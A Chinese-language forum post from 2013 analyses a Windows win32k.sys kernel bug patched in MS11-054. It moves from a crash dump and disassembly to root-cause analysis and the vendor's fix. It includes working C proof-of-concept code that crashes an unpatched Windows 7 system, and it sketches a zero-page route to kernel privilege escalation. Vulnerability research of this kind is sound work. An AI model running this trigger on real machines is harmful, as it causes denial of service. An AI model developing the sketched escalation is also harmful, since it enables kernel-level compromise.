本帖最后由 prawnliu 于 2013-3-22 12:51 编辑
1.引言
近日有同事反馈给笔者一个win32k的蓝屏崩溃dump,说是在开发新的界面程序中遇到的。
笔者在对拿到的Minidump进行分析后,发现这是win32k.sys在处理内核的menu窗口对象中的Use-After-Free/Null-Pointer-Dereference漏洞引发的。
笔者进行进一步分析后发现,这实际是一系列2011年已经修补的win32k漏洞, 微软公告编号为MS11-054,涉及8个CVE(CVE-2011-1878~CVE-2011-1885),都是由当时在挪威安全公司Norman的内核漏洞达人Tarjei Mandt(@kernelpool)报告的,相关的细节未被公开过。
虽然这些都是一年多以前已经修补的漏洞,但细节从未公开过,从了解内核安全问题和win32k内部机制的目的出发,笔者还是决定将此成文,由dump分析入手,到漏洞原理剖析,再到漏洞的重现利用手法,最后到分析漏洞的影响函数、修补方式等,完整重现“由dump到POC”的全过程。
2.Dump分析
首先我们打开崩溃的dump,windbg分析可知发生的Bugcheck是:KERNEL_MODE_EXCEPTION_NOT_HANDLED_M(未处理的内核异常)
而异常代码是STATUS_ACCESS_VIOLATION(访问违例),出故障的地方位于win32k!xxxDestoryWindow+0×32,原因是访问了空指针,异常堆栈如下:- kd> kb
- ChildEBP RetAddr Args to Child
- 90a0fb78 95768a5c 00000000 9584e480 fe320168 win32k!xxxDestroyWindow+0x32
- 90a0fbb8 95768d13 00000001 00000000 00000000 win32k!xxxMNCancel+0x121
- 90a0fbd0 95769de6 9584e480 fe52fdd8 9584e480 win32k!xxxMNDismiss+0x12
- 90a0fbf0 9575fb93 9584e480 fe320168 9584e480 win32k!xxxEndMenuLoop+0x23
- 90a0fc38 9576f71b fe320168 9584e480 00000000 win32k!xxxMNLoop+0x3f5
- 90a0fca0 957658a5 00000088 00004040 000004e8 win32k!xxxTrackPopupMenuEx+0x5cd
- 90a0fd14 83c5f42a 00020225 00004040 000004e8 win32k!NtUserTrackPopupMenuEx+0xc3
- 90a0fd14 778b64f4 00020225 00004040 000004e8 nt!KiFastCallEntry+0x12a
复制代码 从堆栈上可以看出是由NtUserTrackPopupMenuEx这个NT服务引发的问题,在调入封装的win32k xxxTrackPopupMenuEx函数后,进入xxxMNLoop->xxxEndMenuLoop->xxxMNDismiss->xxxMNCancel,最终进入了 问题现场函数xxxDestoryWindow,这个函数顾名思义,是win32k销毁内核窗口对象的内部功能函数。
xxxDestoryWindow的故障发生在刚刚进入函数的地方,原因很容易定位,我们来看xxxDestoryWindow的故障代码:- kd> u xxxDestroyWindow xxxDestroyWindow+34
- win32k!xxxDestroyWindow:
- 956d0915 8bff mov edi,edi
- 956d0917 55 push ebp
- 956d0918 8bec mov ebp,esp
- 956d091a 83ec34 sub esp,34h
- 956d091d 53 push ebx
- 956d091e 8b1d58da8495 mov ebx,dword ptr [win32k!gptiCurrent (9584da58)]
- 956d0924 8b83b4000000 mov eax,dword ptr [ebx+0B4h]
- 956d092a 56 push esi
- 956d092b 8b7508 mov esi,dword ptr [ebp+8] //set esi
- 956d092e 8945f0 mov dword ptr [ebp-10h],eax
- 956d0931 57 push edi
- 956d0932 8d45f0 lea eax,[ebp-10h]
- 956d0935 33ff xor edi,edi
- 956d0937 8983b4000000 mov dword ptr [ebx+0B4h],eax
- 956d093d 8975f4 mov dword ptr [ebp-0Ch],esi
- 956d0940 3bf7 cmp esi,edi
- 956d0942 7403 je win32k!xxxDestroyWindow+0x32 (956d0947)
- 956d0944 ff4604 inc dword ptr [esi+4]
- 956d0947 8b16 mov edx,dword ptr [esi] //esi = 0x00000000
复制代码 代码中最后一行即是发生空指针引用的地方,esi = 0×00000000,esi的来源也一目了然,它是来自xxxDestoryWindow的第一个参数,即要被销毁的窗口pwnd指针。
这么看,xxxDestoryWindow不是责任函数,那么应该是xxxMNCancel传入了空的pwnd指针导致的,我们再来看xxxMNCancel的实现,首先看看xxxMNCancel调用xxxDestoryWindow的附近代码:- kd> ub xxxMNCancel+121 L5
- win32k!xxxMNCancel+0x10f:
- 95768a4a ff7608 push dword ptr [esi+8]
- 95768a4d 6a07 push 7
- 95768a4f e8e962faff call win32k!xxxWindowEvent (9570ed3d)
- 95768a54 ff7608 push dword ptr [esi+8]
- 95768a57 e8b97ef6ff call win32k!xxxDestroyWindow (956d0915)
复制代码 可以看到,xxxDestoryWindow的参数来自 dword ptr[esi + 8],继续看下面的代码可知,esi来自xxxMNCancel的第一个参数,结构为tagPOPUPWND,这样我们可知被销毁的窗口对象指针来自tagPOPUPWND->spwndPopupMenu- kd> u xxxMNCancel la
- win32k!xxxMNCancel:
- 9576893b 8bff mov edi,edi
- 9576893d 55 push ebp
- 9576893e 8bec mov ebp,esp
- 95768940 83ec28 sub esp,28h
- 95768943 53 push ebx
- 95768944 56 push esi
- 95768945 57 push edi
- 95768946 8b7d08 mov edi,dword ptr [ebp+8]
- 95768949 8b37 mov esi,dword ptr [edi]
- 9576894b 8b06 mov eax,dword ptr [esi]
复制代码 3.原理分析
分析相关的代码可知,spwndPopupMenu实际上是在PopupMenu对象中的指向其属于的Menu窗口对象的指针。为了理解为何这里会遇到空的Menu对象指针,我们首先研究下Menu/PopupMenu对象之间的关系和形成机理。
通过研究win32k的内部机制可知,在win32k中,不同类型的窗口对象的扩展数据(WndExtra)是附加在标准窗口对象结构后面的,而对于Menu窗口对象(tagMENUWND结构),附加在其后的是指向其PopupMenu对象的 指针(PPOPUPMENU,即tagPOPUPMENU结构),而我们这里遇到的spwndPopupMenu就是在tagPOPUPMENU结构中,指回其所属的Menu窗口对象的指针- 0: kd> dt tagPOPUPMENU -d spwndPopupMenu
- win32k!tagPOPUPMENU
- +0x008 spwndPopupMenu : Ptr32 tagWND
复制代码 对于Menu窗口对象,分配tagPOPUPMENU并填充到tagMENUWND的工作,是在xxxMenuWindowProc这个函数内,响应窗口创建时产生的WM_NCCREATE消息时完成的。
对于内核默认的窗口对象,系统会为其指定专门的内核窗口消息处理函数来实现特定的功能,而xxxMenuWindowProc就是专为响应Menu窗口对象的窗口消息的函数,当ring3代码调用SendMessage- >NtUserMessageCall发送消息给Menu窗口,或者ring0调用xxxSendMessage发送消息给Menu窗口时,都会通过FNID函数封装后最终调用到这些内核处理函数。这个函数对于内核对Menu窗口对象的管理来说非常重要 ,后面我们还会说到它。
通过IDA反汇编xxxMenuWindowProc函数中对WM_NCCREATE消息的处理过程我们可以看到这一点:- ProcWM_NCCREATE: ; CODE XREF: xxxMenuWindowProc(x,x,x,x)+179j
-
- cmp dword ptr [edi+(size tagWND)], 0
- jnz loc_BF93F24A
- push 1
- call _MNAllocPopup@4 ; MNAllocPopup(x)
- test eax, eax
- jz loc_BF93F24A
- mov [edi+(size tagWND)], eax
- or [eax+tagPOPUPMENU.posSelectedItem], 0FFFFFFFFh
- lea ecx, [eax+tagPOPUPMENU.spwndPopupMenu]
- mov edx, edi
- call @HMAssignmentLock@8 ; HMAssignmentLock(x,x)
复制代码 从代码上我们可以看到(edi为窗口对象指针),处理例程首先判断tagWND附加数据(edi + 标准窗口结构长度)的pPopupMenu对象指针是否为空,如果为空,那么就是用MNAllocPopup为Menu窗口对象创建 pPopupMenu结构的内存空间(实际就是在Session内存池内分配内存并初始化结构),并将分配出来的pPopupMenu指针写入Menu窗口对象的附加数据中。
接着,再使用HMAssignmentLock,带锁地将tagPOPUPMENU.spwndPopupMenu赋值为edi,即其从属的Menu窗口对象的指针。
我们再回头来看触发这个问题的函数:xxxTrackPopupMenuEx的工作原理,熟悉界面编程的朋友都知道这是用于弹出一个Popup Menu的函数,那么在内核中它是如何工作的呢,这里笔者简单列出一下大概的工作的流程 :
- 创建Menu窗口对象: 根据HMENU等相关参数,创建最终弹出和展示的Menu窗口(通过xxxCreateWindowEx)
- 分配和初始化当前线程的MenuState结构(xxxMNAllocMenuState)
- 计算和设定Menu窗口的相关位置、属性等(通过FindBestPos/xxxSetWindowPos等)
- 进入菜单循环,展示Menu并进入等待菜单选择的循环(xxxMNLoop),在进入循环前,会通过xxxWindowEvent来“播放”一个EVENT_SYSTEM_MENUPOPUPSTART的窗口事件,这个细节会在后面用到
- 菜单被选择或取消,退出循环并销毁PopupMenu、Menu窗口对象和MenuState结构(xxxxxEndMenuLoop、xxxMNEndMenuState等)
在dump中,我们看到出问题的地方就在xxxMNLoop的过程中,当菜单选择被取消,xxxMNLoop会试图退出循环,调用xxxMNDismiss->xxxMNCancel来取消窗口的展现,而其中一个操作就是调用xxxDestoryWindow, 来销毁pPopupMenu->spwndPopupMenu即Menu主窗口,而故障的原因就是这个指针已经被销毁并置Null了,由于销毁的代码并没有判断是否已经销毁而直接使用了指针,因此引发了崩溃。
因此,这个漏洞的本质就在于,相关的调用函数(本例中xxxTrackPopupMenuEx)没有检查对应的popup menu结构是否已经被销毁或指针被清空了,仍然继续使用,同时在销毁和使用的代码之间(xxxMenuWindowProc与 xxxTrackPopupMenuEx及其子函数),缺少有效的锁机制,导致了Use-After-Free或Null-Pointer-Dereference问题的发生。
4.重现POC
故障的基本原因清楚了,但还有一个问题是,如何Popup窗口循环结束前,让其保存的指针会被销毁呢?
当然,仅仅通过dump我们已经无法明确究竟在这个Dump的场景之下,之前是哪个逻辑调用了销毁窗口对象的功能,但通过分析Menu相关的实现代码可知,销毁的可能场景有很多,而其中最常见的也最容易触发的,就是 前面将到的xxxMenuWindowProc例程中,我们看看这个例程接受MN_ENDMENU这个消息的代码:- ProcMN_ENDMENU: ; CODE XREF: xxxMenuWindowProc(x,x,x,x)+A1Bj
-
- ; xxxMenuWindowProc(x,x,x,x)+A6Fj
- ; DATA XREF: ...
-
- push [esi+tagMENUSTATE.pGlobalPopupMenu] ; jumptable BF93ED60 case 499
- push esi
- call _xxxEndMenuLoop@8 ; xxxEndMenuLoop(x,x)
- test dword ptr [esi+tagMENUSTATE._bf4], MENU_STATE_MODLE_LESS
- jz loc_BF93F24A
- push TRUE
- call _xxxMNEndMenuState@4 ; xxxMNEndMenuState(x)
- jmp loc_BF93F24A
复制代码 从代码上可以看出,当该例程接受一个MN_ENDMENU消息时,且menu状态是model less的(通过menu state来判断),xxxMenuWindowProc就会调用xxxMNEndMenuState销毁线程的MenuState,同时也销毁和清 空当前线程popup menu相关的spwndPopupMenu对象。
也就是说,只要在TrackPopupMenuEx的流程 (2) 之后,流程(4)结束之前,发送MN_ENDMENU消息给Menu窗口对象,就可以触发这个问题。
了解了整个逻辑触发的原理,接下来笔者就开始尝试构造代码,在ring3重现这个问题。
刚才已经提到,重现这个的关键点,也是难点在于,如何控制在流程2到流程4之间发送销毁消息。对于ring3程序来说,流程(1)~(5)都是在TrackPopupMenuEx这一个API的调用过程中发生完的。
另外一个难点是,我们要发送消息的Menu窗口对象是内部创建的,在TrackPopupMenu完成后就销毁了,并未输出出来供我们使用。
对于难点1,如何克服?通过多线程竞争条件实现么?存在成功率问题。对于难点2呢?通过在ring3分析win32k 共享内存中的全部窗口对象来实现?麻烦,又不通用。
思考了一段时间,笔者注意到了在流程(4) 中提到的那个WindowEvent的“播放”,我们看看xxxTrackPopupMenu进入xxxMNLoop之前,附近的代码实现:- push ebx
- push ebx
- push OBJID_CLIENT
- push [ebp+pwndHierarchy]
- push EVENT_SYSTEM_MENUPOPUPSTART
- call _xxxWindowEvent@20 ; xxxWindowEvent(x,x,x,x,x)
- mov eax, [edi+tagMENUSTATE._bf4]
- mov ecx, [ebp+var_1C]
- push ebx
- push ebx
- and eax, 0FFFFFFF7h
- shl ecx, 3
- push edi
- or eax, ecx
- push esi
- mov [edi+4], eax
- call _xxxMNLoop@16 ; xxxMNLoop(x,x,x,x)
复制代码 可以清楚地看到,在进入xxxMNLoop之前,通过xxxWindowEvent播放了一个EVENT_SYSTEM_MENUPOPUPSTART事件,而参数中,就有我们需要的,Menu窗口对象的指针pwndHierarchy,由于IN CONTEXT的 Window Event是同步调用的,而注册针对本线程的IN CONTEXT Window Event Hook无须任何特权,因此我们这里就找到了一下解决两个难点的方法:
使用SetWindowEventHook,注册针对本线程的、EVENT_SYSTEM_MENUPOPUPSTART事件的Hook,并在hook例程里直接发送窗口销毁消息。
触发问题的另外一个小问题是,如何让MenuState标记为model less的风格,这点通过公开的API SetMenuInfo就可以做到了。
如上所说,所有的问题都解决了,那么写一个完整的程序实验一下吧:
笔者的测试系统环境:干净 Win7 X86,未补过KB2555917补丁(或在其后的针对win32k.sys的补丁),运行后即BSOD
测试代码如下(GUI程序):- #define MN_ENDMENU 0x1F3
-
- VOID CALLBACK WinEventProc( HWINEVENTHOOK hWinEventHook, DWORD event, HWND hwnd, LONG idObject, LONG idChild, DWORD idEventThread, DWORD dwmsEventTime)
- {
- SendMessage(hwnd , MN_ENDMENU , 0 , 0 );
- return ;
- }
-
- void xxxMenu()
- {
- HWND hwnd = GetForegroundWindow();
- HMENU hmenu = CreatePopupMenu();
- MENUINFO menuinfo ;
- CHAR name[4] = "AAA";
- MENUITEMINFO item ;
-
- menuinfo.cbSize = sizeof(menuinfo);
- menuinfo.fMask = MIM_STYLE ;
- menuinfo.dwStyle = MNS_MODELESS;
-
- SetMenuInfo(hmenu , &menuinfo);
-
- item.cbSize = sizeof(item);
- item.fMask = MIIM_STRING;
- item.fType = MFT_STRING ;
- item.dwTypeData = name;
- item.cch = 4 ;
-
- InsertMenuItem(hmenu , 0 , FALSE , &item );
-
- SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART ,
- EVENT_SYSTEM_MENUPOPUPSTART ,
- GetModuleHandle(NULL) ,
- WinEventProc ,
- GetCurrentProcessId(),
- GetCurrentThreadId() ,
- WINEVENT_INCONTEXT);
-
- TrackPopupMenuEx(hmenu , 0 , 0x100 , 0x100 ,hwnd , NULL );
-
- return ;
- }
复制代码 当然,这里笔者给出的POC仅仅构造的是引发内核访问空指针后引发内核拒绝服务,而在实际利用中,因为在xxxMNLoop中会调用xxxSendMessage发送消息给对应的pwnd窗口对象,我们可以通过分配零页内存,伪造可 进行攻击的pwnd结构来稳定地实现内核任意代码执行并进行权限提升,这里笔者就不公布具体的利用代码了。
5.更深入的分析
有了稳定的触发方法后,我们就更容易深入地分析这个漏洞了,通过分析可以发现,xxxTrackPopupMenuEx/xxxMenuWindowProc中相当多的子函数调用都会触发menu或popupmenu窗口对象的问题。
这里笔者简单列出一下之前的win32k.sys中存在同样或类似情况的函数及问题:
xxxTrackPopupMenuEx->xxxMNLoop…xxxMNCancel->xxxDestroyWindow(本文中蓝屏Dump发生的案例):Null Pointer Dereference
xxxMenuWindowProc(处理WM_SIZE或WM_MOVE消息的代码中):Null Pointer Dereference
xxxMNKeyFilter:Null Pointer Dereference
xxxMenuWindowProc->xxxMNDoubleClick(处理MN_DBLCLK消息的代码中):Use After Free
xxxMenuWindowProc->xxxMNButtonDown(处理MN_BUTTONDOWN消息的代码中):Use After Free
xxxMenuWindowProc->xxxMNDestroyHandler(处理WM_FINALDESTROY消息的代码中):Use After Free
xxxMenuWindowProc->xxxCallHandleMenuMessages:Use After Free xxxTrackPopupMenuEx->xxxMNEndMenuState:Use After Free
涉及的问题代码很多,因此在MS11-054中才会有这么多漏洞是属于这一个问题的。
最后,笔者想要探究是,微软在KB2555917中是如何修复这个问题的?解开这个补丁后分析升级的文件得知(分析目标是补丁版本的win32k.sys,win7 x86版本为6.1.7600.16830),微软增强了对于popup menu/MenuState对象的lock机制和延时释放机制,修正了空指针问题:
对xxxMenuWindowProc增加了一层封装,将过去的xxxMenuWindowProc函数封装成了xxxRealMenuWindowProc,在调用前后增加Locking/Unlocking处理,新的xxxMenuWindowProc部分伪代码如下:- if ( !menuroot )
- bIsLock = LockPopup(popupmenu);
- ++pMenuState->dwLockCount;
-
- xxxRealMenuWindowProc((int)pwnd, msg, (HDC)wparam, (LPRECT)lparam, (int)pMenuState, fIsRecursedMenu);
-
- if ( bIsLock )
- UnlockPopup(popupmenu);
复制代码 同时为了支持Lock popup menu机制, 修改了tagPOPUPMENU结构,增加了flockDelayedFree标记,修改了tagTHREADINFO结构,增加了ppmlockFree链表。
在进入xxxRealMenuWindowProc前,会将PopupMenu加入到win32 thread info(当前GUI线程相关结构)的Lock Delay Free链表中,并将当前PopupMenu标记为DelayFree,在完成MenuWindowProc后才会Unlock PopupMenu,允许popup menu被释放。
在线程退出调用xxxDestoryThreadInfo时,则会释放tagTHREADINFO链表中的所有PopupMenu对象
同时针对MenuState对象也增加了lock机制,对tagMENUSTATE增加了fMarkDestroy标记,并将xxxUnlockMenuState修改为对xxxUnlockMenuStateInternal的封装,并在其中实现了对fMarkDestroy的识别和延迟释放 机制,防止Use-After-Free问题。
修正了若干xxxMNEndMenuState/xxxMNLoop等函数中空指针引用计数问题,解决Null Pointer Dereference问题。 |